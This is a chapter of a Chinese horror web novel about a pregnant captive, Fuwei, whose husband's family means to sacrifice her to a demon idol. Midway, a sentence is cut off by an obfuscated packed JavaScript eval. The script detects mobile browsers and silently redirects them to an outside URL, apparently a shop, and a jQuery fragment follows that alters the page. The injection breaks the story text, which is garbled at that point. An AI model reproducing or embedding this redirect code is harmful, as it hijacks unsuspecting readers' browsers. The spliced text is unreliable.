寨子里的生活并不如扶薇想象的恐怖。
她没有看见茹毛饮血，也没有剖心挖肺，但时不时的，会有一些血迹从寨子深处的角落里蜿蜒出来，流向山涧后的泉水里。血液流入水中，会化开成一种晶莹剔透的粉色，随着水流的冲刷逐渐变淡，不见踪影，连那一丝腥气也近乎于无了。
日子一天天过去，她开始熟悉这间屋子的每一个角落—墙角的裂缝，门框上的木纹，窗棂透进来的光在什么时候会照到床上。
夜里睡不着的时候，她就数窗外的星星。
她不知道明天在哪里，不知道孩子能不能活着生下来，不知道张怀集会不会来接她。
她甚至不知道自己希不希望他来。
如果来了，这些土匪也抓了他怎么办？如果没来，她是不是就要死在这里？
窗外的星星不说话。
*
柳如兰亲自给扶薇送饭，她坐在门槛上，用捉摸不定的神情打量着扶薇，打量着她日渐隆起的肚子，时间越来越长，越来越久。
有几次，扶薇被她看得心里发毛，忍不住问：“你在看什么？”
柳如兰不答，只是移开目光，过一会儿又移回来。
对扶薇她有时温和，有时愠怒。
愠怒时骂她蠢笨如猪，看中了张怀集这样懦弱无能的家伙。
扶薇不知道她为什么生气。
日子长了，她从柳如兰的神情里，读出了一种奇怪的不满。
为什么柳如兰会不满呢？
有一天，扶薇问了这个问题，柳如兰略微掀起眼皮，没直接回她，她说：
“信都送下山了，猜猜我出了多少？”
柳如兰嘲笑道：“只要三十两银子，贱卖都没人要。”
“为什么？”
“你怎么那么多为什么，是猪脑子不成，不会自己想吗？”
柳如兰的目光落在她肚子上，神情带着怒气，语言更加刻薄：“我也想知道为什么。你就这么不值钱？连带你肚子里这个，也是个赔钱货不成？”
扶薇被她骂得眼泪一颗一颗砸在手背上。
糖冬瓜，藏在衣兜里，已将化了。
柳如兰不再允许她在寨子里吃白食，给她安排了活计—舂米、浆洗、缝补。扶薇的脚上戴着镣铐，走也走不了多远，只能拖着沉重的铁链，一步一步地挪。
粗鲁的土匪们有时会嘲笑她，说她大着肚子还要干活，不若跟了他们“匀一匀”。这样的话，也只敢在柳如兰不在的时候说。
但柳如兰不许任何人帮助她，包括染指。
扶薇隐约觉得，这和柳如兰看她的那种眼神有关，眼神里，除了审视，除了尖利，还有一种她说不清的东西。
像是在看一个死人。
又像是在看一个不该死的人。
有几次，她试着逃。
可没走多远，就被草木绊住，不是跌进草丛，就是天黑迷了路。被捉回来之后，柳如兰也不打她，只是把镣铐又加长了一截，让她能干活，却跑不远。
“再跑一次，”柳如兰蹲在她面前，一边给她受伤的脚踝上药，一面狠戾：“打断你的腿。”
“你为什么不让那些人碰我？”扶薇大着胆子问她。
柳如兰愣了一下。
那愣神很短，短到几乎看不出来。
“浪蹄子，到土匪窝里还想男人了。”柳如兰回过神来，嗤笑一声，站起身：“怀着张家的孽种，碰你，倒了血霉。”
说完，她就走了，脚步有些匆忙。
扶薇看着她的背影，还是疑惑，她说的是不是真话。
夜里，扶薇做了梦。
梦里，她站在一片竹林里，四周都是雾。她低头看自己肚子扁了，孩子不见了。
她慌了，到处找，喊孩子的名字，可怎么也喊不出声。
就在这时，她听见一个声音。
那声音从竹林深处传来，像婴儿的啼哭，又像什么别的东西，有人在很远很远的地方，用听不懂的话，在叫她的名字。
扶薇循着声音走过去。
雾散了。
她看见一个石像。
石像的脸模糊不清，眼睛是亮的，暗金色，像两团凝固的火，石像的怀里，就抱着一个婴儿，婴儿睁开眼睛，也是暗金色的
它朝她伸出手。
扶薇想跑，但脚被钉在地上，一动也不能动。
婴儿的手越来越近，越来越近——
“啊——！”
扶薇猛地惊醒。
阳光从门缝里照进来，在地上画出一道细细的光线。
她浑身是汗，大口喘气，心脏跳得像要从胸腔里蹦出来。
可让她僵住的，不是这个梦。
是肚子里的感觉。
孩子还在动，一下一下的，和往常一样。可这一次，每动一下，她的肚子里就像有什么东西在回应。
扶薇越想越害怕，手脚瘫软，起身时哐当一声摔在床下
门很快被推开了，柳如兰站在门口，双手环胸，淡淡道：
“起来。”她对跌倒的扶薇说，“你今天也有活干。”
扶薇望着她，额头冷汗如瀑。
怎么连柳如兰的脸也变了。
她变成陌生的张怀集，站在破庙里，用一双不属于他的眼睛看着她。
“娘子。”柳如兰唤她。
假的，不对，不是相公，
谁？
谁？
色彩斑斓的画面猛地碎裂，又重新聚拢。
等扶薇回过神来，又发现自己还坐在寨子那间昏暗的屋子里，手还放在肚子上。窗外的月亮还是那个月亮，可刚才那一瞬间，她好像看见了什么……
她刚刚看见了什么？
记不清了。
只记得那双眼睛，好像星星。
*
柳如兰又来了。
她没有提昨天扶薇问的那句话，只是照常放下饭菜，照常坐在门槛上，照常用那种捉摸不定的眼神看着她。
扶薇吃着饭，忽然问：“你是不是也觉得我活不长了？”
柳如兰的眼神闪了一下。
“说什么胡话。”
“不是胡话。”扶薇放下碗，看着自己的肚子，“我昨晚做梦了。梦见一个石像，抱着我的孩子。那孩子的眼睛是金色的，像野兽。”
柳如兰的手猛地攥紧。
“它朝我伸手。”扶薇的声音很轻，“我觉得……那不是我的孩子。”
柳如兰沉默了很久。
久到扶薇以为她不会回答了，她才开口：
“你知道张家养着什么吗？”
扶薇摇头。
“鬼。”柳如兰说这话的时候，脸上没有任何表情，“要吃人的鬼，拿你当祭品，张怀集知道，可他不敢拦。”
扶薇瞪大双眸，神色僵硬。
“我娘……”柳如兰说了这=两个字，又打住了。
她站起来，背对着扶薇，才肯继续：
“我娘怀着我的时候，死在破庙里。”
“傻，蠢，死心眼。看上一个畜生，还以为自己嫁了良人。”
柳如兰走到门口，没有再回头。
那天之后，柳如兰不再每天来了。
换成一个哑巴婆子送饭，送了就走，一句话也不说。
扶薇没有问，她只是每天做活，吃饭，睡觉，摸着肚子和里面的孩子说话。
说的都是些琐碎的事。今天吃了什么，太阳好不好，窗外的鸟叫什么名字。
她不说以后，不说山下，也不说张怀集。
她又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243545|184631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
做梦了。
还是那片竹林，还是那团雾。可这一次，她看见的不只是石像和婴儿。
她看见一个穿着嫁衣的女人，跪在竹林里，抱着肚子，满身是血。
女人抬起头，是她的脸。
扶薇只能眼睁睁看着那个“自己”倒下去，倒在血泊里，一动不动。
然后，那团黑雾涌上来，把自己吞没了。
婴儿的哭声从雾里传出来。
越来越响，越来越近——
扶薇猛地睁开眼。
她睁着眼到天亮。
第二天，哑巴婆子来送饭的时候，看见她的脸，吓了一跳。
扶薇没解释。
她只是接过饭碗，一口一口地吃，慢慢吃得干干净净。
然后她问婆子：“柳当家呢？”
婆子比划了半天，扶薇才看懂：下山了，办事去了，过几天回来。
扶薇点点头。
婆子走了之后，她坐在床边，把手放在肚子上。
她想起红签上那四个褪了色的字：百年好合。
想起张怀集送她的糖冬瓜。
这是真的吗？
还是又是一场梦？
她唯一窗外的天又亮了。
新的一天，又来了。
而她还在等，无尽的等。
等一个人来，等一个结果。
等一个
她自己也说不清的什么。
*
张怀集已经写了五封信上山，绑匪出乎意料地好说话从三十两降到二十两，又从二十两降到十两。
父亲不为所动，连十两银子都不肯拿出来。
“父亲，求您了……”他哭道，“她肚子里还怀着我的孩子……”翻来覆去地求他。
张老太爷极不耐烦，厌烦地挥开他：“那又如何？没有那位庇佑，张家早就败了。你以为这些年吃香的喝辣的，是靠什么换来的？”
他知道父亲说的是什么，枯井里的石像，，每年都要献上的祭品。
“可是扶薇她……”
“可是什么！”张老太爷的声音沉下来，“已经将帖子呈上去了，换人？出了差错，你担得起吗？”
张怀集张了张嘴，忽然说不出话来。
张老太爷看着他，叹了口气，语气变得慈和：
“怀集啊，爹也不容易。爹能扶你一时，还能扶你一世不成？你得自己立起来。”
“她无亲无故，死了也没人追究。况且……”盯着儿子的眼睛，张老太爷一字一顿，“她是你喜欢的人。这样的人你都能下得去手，以后办事，爹就放心了。”
他想反驳，想说不，想冲出去，想——
可最终什么也没做。
只是在父亲沉重而严厉的目光下，低下头，红着眼睛，应了一声：
“是。”
到了那一夜，跪在石像前，他才第一次看清了那张脸，出乎意料地和他们很相似。
又模模糊糊，看不真切。
他又想起扶薇的脸。
闭上眼睛，不敢再想，手里拿着一炷香。
香火袅袅升起，在昏暗的屋子里散开，张怀集盯石像的眼睛，忽然想起扶薇的眼睛。
弯弯的，像月亮。
月亮要下山了。
香灰簌簌地落下来，落在手上，烫出一个个小红点。
不敢动。
他总是跪着，跪着，跪着。
直到夜色里传来父亲的声音：
“这就对了，怀集。”
在父亲的肯定声中，张怀集闭上眼睛，重重磕了下去。
磕下去时世界颠倒，他又仿佛听见了哭声。
很远，很远。
从山那边传来的。
又像是从自己心里传来的。